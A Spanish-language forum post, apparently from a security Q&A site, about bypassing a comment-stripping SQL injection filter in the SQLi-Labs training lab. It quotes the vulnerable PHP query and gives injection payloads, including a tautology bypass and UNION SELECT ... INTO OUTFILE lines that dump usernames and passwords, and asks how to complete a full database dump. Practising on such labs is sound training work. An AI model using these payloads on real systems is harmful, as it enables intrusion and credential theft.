El siguiente filtro SQLi (MySQL) es de SQLi-Labs:
...
$reg = "/#/"
$reg1 ="/--/"
$replace =""
$id=preg_replace($reg,$replace,$id);
$id=preg_replace($reg1,$replace,$id);
....
$sql = "SELECT * FROM users where id='$id' LIMIT 0,1";
Sé que el filtro puede ser evadido por algo como 'or '1'='1
.
Sin embargo, me gustaría ver si es posible realizar un volcado de archivos de toda la base de datos, por lo que he intentado cosas como:
' union select null,username,password from users into outfile "/tmp/file"...
sin embargo, debido a ' LIMIT 0,1
al final, estoy teniendo problemas para averiguar cómo terminar la carga útil. He pensado en hacer varias consultas sindicales, por ejemplo:
' union all select null,username,password from users into outfile "/tmp/file" union all select null,username,password from users group by '
Sin embargo, recibo un error, porque creo que la parte into outfile
tiene que ser la última consulta. También pensé en usar FIELDS TERMINATED BY '
pero ahora el LIMIT 0,1
está en mi camino.
¿Hay alguna manera en torno a esto para realizar un volcado de base de datos de la base de datos? ¿Es posible volcar la base de datos a través del error?